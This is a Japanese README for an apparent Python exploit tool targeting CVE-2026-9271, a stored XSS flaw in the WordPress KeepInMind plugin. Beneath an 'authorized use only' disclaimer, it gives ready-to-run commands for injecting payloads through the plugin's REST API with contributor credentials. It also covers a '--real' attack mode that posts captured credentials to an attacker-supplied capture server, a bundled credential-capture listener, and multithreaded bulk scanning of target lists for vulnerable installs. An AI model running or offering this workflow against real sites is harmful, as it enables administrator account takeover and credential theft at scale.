
WordPress KeepInMind プラグインの CVE-2026-9271 に対する権限付き格納型 XSS 評価ツール。脆弱なバージョンを検出し、安全なテストペイロードを注入し、SQLite レポートによる一括スキャンをサポートします。
CVE-2026-9271 向け認可済みセキュリティ評価ツール
作者: Sudeepa Wanigarathna · ツール: KIM-Guardian Pro v1.0
メインスクリプト: CVE-2026-9271.py
[!IMPORTANT] 認可された使用のみ。 本ツールは、セキュリティ研究、教育、および自分が所有するか、明示的な書面による許可を得たシステムのテストを目的としています。コンピュータシステムへの不正アクセスは違法です。作者は誤用による責任を負いません。
CVE-2026-9271 は、WordPress プラグイン KeepInMind(Dashboard Notes)における**格納型クロスサイトスクリプティング(XSS)**の問題です。メモコンテンツのサニタイズが不十分なため、低権限の認証済みユーザー(Contributor+)が、管理者のブラウザで実行される HTML/JS を保存でき、管理者セッションの侵害 / アカウント乗っ取りにつながる可能性があります。
KIM-Guardian Pro(CVE-2026-9271.py)は、認可されたテスター向けの Python 評価ツールであり、以下を目的としています:
reports/ 配下のテキストレポートに保存| 属性 | 値 |
|---|---|
| CVE ID | CVE-2026-9271 |
| 攻撃ベクトル | 認証済み(Contributor+)→ 格納型 XSS → 管理者への影響 |
| 影響 | 管理者ブラウザでの XSS。脆弱なインストール環境ではアカウント乗っ取りの可能性 |
| 影響を受ける製品 | WordPress KeepInMind / KeepInMind Dashboard Notes |
| 影響を受けるバージョン | ≤ 0.8.4.2(0.8.4.3+ で修正済み) |
| 脆弱性の種類 | 格納型クロスサイトスクリプティング(XSS) |
| CWE | CWE-79(Web ページ生成時における入力の不適切な無害化) |
| 対象面 | 役割 |
|---|---|
/wp-json/keepinmind/v1/notes | メモの作成・読み取りに使用される REST API |
/wp-admin/ | 保存されたメモがレンダリングされる可能性のある管理ダッシュボード |
| プラグインパス | /wp-content/plugins/keepinmind-dashboard-notes/ |
--no-cleanup を指定しない限り)| 機能 | 説明 |
|---|---|
| プラグイン検出 | KeepInMind のインストールパスとバージョン文字列をチェック |
| WordPress バージョン | 利用可能な場合に generator / バージョンメタデータを抽出 |
| 安全なテストモード | 認証情報をキャプチャせずに XSS を証明するデフォルトのオーバーレイマーカー |
| 認証済み評価 | Contributor+ の認証情報でログインし、完全な REST 注入を実行 |
| ペイロードのクリーンアップ | 評価後に注入したメモを削除 |
| 一括スキャン | プラグインと脆弱なバージョンに対するマルチスレッドの URL リストスキャン |
| SQLite 履歴 | 評価を kim_guardian.db に保存 |
| テキストレポート | タイムスタンプ付きレポートを reports/ 配下に書き込み |
| キャプチャサーバー | ラボでの認証情報キャプチャ訓練用のオプションのローカル HTTP リスナー |
| Web UI | オプションの Flask ダッシュボード(web モード) |
| 機能 | 説明 |
|---|---|
| 詳細ロギング | logs/ 配下へのファイル + コンソールデバッグ |
| プロキシサポート | Burp や他の HTTP プロキシ経由でトラフィックをルーティング |
| 設定可能なタイムアウト | リクエストごとのタイムアウト(デフォルト 30 秒) |
| ワーカープール | 一括スキャン用の調整可能な並行処理数 |
pipcd /path/to/exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
# Recommended extras used by this script:
pip install colorama beautifulsoup4 requests flask
python3 CVE-2026-9271.py --help
requests>=2.31.0
beautifulsoup4>=4.12.0
colorama>=0.4.6
flask>=3.0.0 # optional — web mode only
https://lab.exampleはラボまたは認可されたターゲットのみに置き換えてください。
# Help / modes
python3 CVE-2026-9271.py --help
# Safe single-target assessment (default: test payload)
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' -v
# Bulk version / plugin scan
python3 CVE-2026-9271.py bulk -f targets.txt -w 8 -o bulk_results.txt
# List recent assessments from SQLite
python3 CVE-2026-9271.py db --list --limit 20
# Local capture server (lab only)
python3 CVE-2026-9271.py capture --port 5000
# Optional web UI
python3 CVE-2026-9271.py web --host 127.0.0.1 --port 8080
python3 CVE-2026-9271.py --help
python3 CVE-2026-9271.py assess --help
デフォルトモードは認証情報を取得しないテストオーバーレイを使用します。REST API 経由の注入には Contributor+ の認証情報を指定してください。
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor \
-p 'password' \
-v
ワークフロー:
-u / -p が指定されている場合)--no-cleanup を指定しない限り)reports/kim_assessment_*.txt に保存するpython3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' --no-cleanup
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
--proxy http://127.0.0.1:8080 \
--timeout 45 \
-v
攻撃者 / キャプチャのベース URL と --real が必要です。ラボではキャプチャを localhost に設定することを推奨します。
# Terminal 1 — capture listener
python3 CVE-2026-9271.py capture --port 5000
# Terminal 2 — assessment with capture endpoint
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
-a http://127.0.0.1:5000 \
--real \
-v
キャプチャ UI(サーバー実行時):
| パス | 目的 |
|---|---|
/ | キャプチャサーバーのステータスページ |
/capture | フォーム送信用の POST エンドポイント |
/captured | 最近キャプチャされたエントリ(ラボレビュー用) |
# targets.txt — one URL per line
python3 CVE-2026-9271.py bulk -f targets.txt -w 5 -o bulk_scan_results.txt
# Or comma-separated URLs
python3 CVE-2026-9271.py bulk -u "https://a.example,https://b.example" -w 3
一括チェックには通常、WordPress のヒント、KeepInMind のバージョン、REST の到達可能性、wp-login.php の存在が含まれます。
python3 CVE-2026-9271.py db --list
python3 CVE-2026-9271.py db --list --limit 50
python3 CVE-2026-9271.py web --host 127.0.0.1 --port 8080
安全性のため、デフォルトで localhost にバインドします。
| モード | 説明 |
|---|---|
assess | 単一ターゲットの KeepInMind 評価 |
bulk | 複数ターゲットのプラグイン / バージョンスキャン |
capture | ローカル認証情報キャプチャ HTTP サーバー |
web | オプションの Flask Web UI |
db | 保存された評価を一覧表示 |
assess| 引数 | デフォルト | 説明 |
|---|---|---|
url | 必須 | 対象の WordPress URL |
-u, --username | — | WordPress ユーザー名(Contributor+) |
-p, --password | — | WordPress パスワード |
-a, --attacker | — | キャプチャサーバーのベース URL(ラボシミュレーション) |
-t, --test | オン | 安全なテストペイロードを優先 |
-r, --real | オフ | ラボ攻撃ペイロードを有効化(--attacker が必要) |
--no-cleanup | オフ | 注入したメモをそのまま残す |
-v, --verbose | オフ | 詳細 / デバッグロギング |
--timeout | 30 | リクエストタイムアウト(秒) |
--proxy | — | プロキシ URL(例: http://127.0.0.1:8080) |
bulk| 引数 | デフォルト | 説明 |
|---|---|---|
-f, --file | — | URL のファイル(1 行に 1 つ) |
-u, --urls | — | カンマ区切りの URL |
-w, --workers | 5 | スレッドプールサイズ |
-o, --output | bulk_scan_results.txt | レポートパス |
capture| 引数 | デフォルト | 説明 |
|---|---|---|
--port | 5000 | リッスンポート |
web